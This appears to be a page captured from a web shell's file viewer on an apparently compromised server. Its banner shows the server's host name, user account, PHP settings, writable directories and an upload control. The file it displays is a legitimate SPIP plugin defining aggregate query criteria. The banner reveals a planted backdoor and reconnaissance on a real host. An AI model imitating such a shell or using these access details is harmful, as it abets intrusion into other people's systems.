Samx Here
n1udSecurity


Server : Apache
System : Linux ks5.tuic.fr 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
User : pragmatice ( 1003)
PHP Version : 8.2.24
Disable Function : NONE
Directory :  /home/pragmatice/public_html/lesite/plugins/spip-bonux/public/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/pragmatice/public_html/lesite/plugins/spip-bonux/public/spip_bonux_criteres.php
<?php

/**
 * Plugin Spip-Bonux
 * Le plugin qui lave plus SPIP que SPIP
 * (c) 2008 Mathieu Marcillaud, Cedric Morin, Tetue
 * Licence GPL
 *
 */

if (!defined('_ECRIRE_INC_VERSION')) {
	return;
}

/**
 * Permet de faire un comptage par table liee
 *
 * @syntaxe `{compteur table[, champ]}`
 * @link https://contrib.spip.net/Classer-les-articles-par-nombre-de#forum409210
 *
 * @example
 *     Pour avoir les auteurs classes par articles et
 *     le nombre d'article de chacun :
 *
 *     ```
 *     <BOUCLE1(AUTEURS){compteur articles}{par compteur_articles}>
 *     #ID_AUTEUR : #COMPTEUR{articles}
 *     </BOUCLE1>
 *     ```
 *
 * @note
 *     Avec un seul argument {compteur autre_table} le groupby est fait
 *     implicitement sur la cle primaire de la boucle en cours.
 *     Avec un second argument {compteur autre_table,champ_fusion}
 *     le groupby est fait sur le champ_fusion"
 *
 * @param string $idb
 *     Identifiant de la boucle
 * @param Boucle[] $boucles
 *     AST du squelette
 * @param Critere $crit
 *     Paramètres du critère dans cette boucle
 * @param bool $left
 *     true pour utiliser un left join plutôt qu'un inner join.
 * @return void
 */
function critere_compteur($idb, &$boucles, $crit, $left = false) {
	$boucle = &$boucles[$idb];

	if (isset($crit->param[1])) {
		$_fusion = calculer_liste($crit->param[1], [], $boucles, $boucle->id_parent);
	} else {
		$_fusion = "''";
	}
	$params = $crit->param;
	$table = reset($params);
	$table = $table[0]->texte;
	$op = false;
	if (preg_match(',^(\w+)([<>=])([0-9]+)$,', $table, $r)) {
		$table = $r[1];
		if (count($r) >= 3) {
			$op = $r[2];
		}
		if (count($r) >= 4) {
			$op_val = $r[3];
		}
	}
	$type = objet_type($table);
	$type_id = id_table_objet($type);

	/**
	 * Si la clé primaire est une clé multiple, on prend la première partie
	 * Utile pour compter les versions de spip_versions par exemple
	 */
	if (count($types = explode(',', $type_id)) > 1) {
		$type_id = $types[0];
	}
	$table_sql = table_objet_sql($type);

	$trouver_table = charger_fonction('trouver_table', 'base');
	$arrivee = [$table, $trouver_table($table, $boucle->sql_serveur)];
	$depart = [$boucle->id_table,$trouver_table($boucle->id_table, $boucle->sql_serveur)];

	// noter les jointures deja installees
	$joins = array_keys($boucle->from);
	if ($compt = calculer_jointure($boucle, $depart, $arrivee)) {
		if ($_fusion != "''") {
			// en cas de jointure, on ne veut pas du group_by sur la cle primaire !
			// cela casse le compteur !
			foreach ($boucle->group as $k => $group) {
				if ($group == $boucle->id_table . '.' . $boucle->primary) {
					unset($boucle->group[$k]);
				}
			}
			$boucle->group[] = '".($gb=' . $_fusion . ')."';
		}

		$boucle->select[] = "COUNT($compt.$type_id) AS compteur_$table";
		if ($op) {
			$boucle->having[] = ["'" . $op . "'", "'compteur_" . $table . "'",$op_val];
		}
		if ($left) {
			foreach ($boucle->from as $k => $val) {
				if (!in_array($k, $joins)) {
					$boucle->from_type[$k] = 'left';
				}
			}
		}
	}
}

/**
 * {compteur_left xxx} permet de faire la meme chose que {compteur xxx}
 * mais avec un LEFT JOIN pour ne pas ignorer ceux qui ont un compteur nul
 * @param <type> $idb
 * @param <type> $boucles
 * @param <type> $crit
 */
function critere_compteur_left($idb, &$boucles, $crit) {
	critere_compteur($idb, $boucles, $crit, true);
}

/**  Critere {somme champ} #SOMME{champ} */
function critere_somme($idb, &$boucles, $crit) {
	calcul_critere_fonctions(['SUM' => 'somme'], $idb, $boucles, $crit);
}

/**  Critere {compte champ} #COMPTE{champ} */
function critere_compte($idb, &$boucles, $crit) {
	calcul_critere_fonctions(['COUNT' => 'compte'], $idb, $boucles, $crit);
}

/**  Critere {moyenne champ} #MOYENNE{champ} */
function critere_moyenne($idb, &$boucles, $crit) {
	calcul_critere_fonctions(['AVG' => 'moyenne'], $idb, $boucles, $crit);
}

/**  Critere {minimum champ} #MINIMUM{champ} */
function critere_minimum($idb, &$boucles, $crit) {
	calcul_critere_fonctions(['MIN' => 'minimum'], $idb, $boucles, $crit);
}

/**  Critere {maximum champ} #MAXIMUM{champ} */
function critere_maximum($idb, &$boucles, $crit) {
	calcul_critere_fonctions(['MAX' => 'maximum'], $idb, $boucles, $crit);
}

/**  Critere {stats champ} calcul la totale : somme, compte, minimum, moyenne, maximum */
function critere_stats($idb, &$boucles, $crit) {
	calcul_critere_fonctions([
		'SUM' => 'somme',
		'COUNT' => 'compte',
		'AVG' => 'moyenne',
		'MIN' => 'minimum',
		'MAX' => 'maximum',
	], $idb, $boucles, $crit);
}

/* $func : array(FUNC => balise) */
function calcul_critere_fonctions($func, $idb, &$boucles, $crit) {
	$boucle = &$boucles[$idb];

	$params = $crit->param;
	$champ = reset($params);
	$champ = $champ[0]->texte;

	// option DISTINCT {compte DISTINCT(id_article) }
	$filter = '';
	if (preg_match('/^([a-zA-Z]+)\(\s*([a-zA-Z_]+)\s*\)$/', trim($champ), $r)) {
		$filter = $r[1]; // DISTINCT
		$champ = $r[2]; // id_article
	}

	$sel = $filter ? "$filter($champ)" : $champ;
	foreach ($func as $f => $as) {
		$boucle->select[] = "$f($sel) AS $as" . "_$champ";
	}
}

SAMX